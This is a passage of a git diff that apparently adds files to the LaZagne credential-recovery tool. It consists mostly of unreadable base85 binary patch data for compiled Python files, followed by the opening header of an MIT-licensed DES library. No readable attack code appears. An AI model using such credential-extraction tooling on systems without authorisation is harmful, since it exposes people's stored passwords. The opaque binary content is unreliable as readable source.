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 literal 0 HcmV?d00001 diff --git a/lazagne/config/crypto/__pycache__/pyDes.cpython-39.pyc b/lazagne/config/crypto/__pycache__/pyDes.cpython-39.pyc new file mode 100644 index 0000000000000000000000000000000000000000..29eef994c921f8b9d3e824afdb80a7de6e6bcce3 GIT binary patch literal 24213 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 literal 0 HcmV?d00001 diff --git a/lazagne/config/crypto/pyDes.py b/lazagne/config/crypto/pyDes.py new file mode 100644 index 0000000..09b34c3 --- /dev/null +++ b/lazagne/config/crypto/pyDes.py @@ -0,0 +1,852 @@ +############################################################################# +# Documentation # +############################################################################# + +# Author: Todd Whiteman +# Date: 28th April, 2010 +# Version: 2.0.1 +# License: MIT +# Homepage: http://twhiteman.netfirms.com/des.html +# +# This is a pure python implementation of the DES encryption algorithm. +# It's pure python to avoid portability issues, since most DES +# implementations are programmed in C (for performance reasons). +# +# Triple DES class is also implemented, utilizing the DES base. Triple DES +# is either DES-EDE3 with a 24 byte key, or DES-EDE2 with a 16 byte key. +# +# See the README.txt that should come with this python module for the +# implementation methods used. +# +# Thanks to: +# * David Broadwell for ideas, comments and suggestions. +# * Mario Wolff for pointing out and debugging some triple des CBC errors. +# * Santiago Palladino for providing the PKCS5 padding technique. +# * Shaya for correcting the PAD_PKCS5 triple des 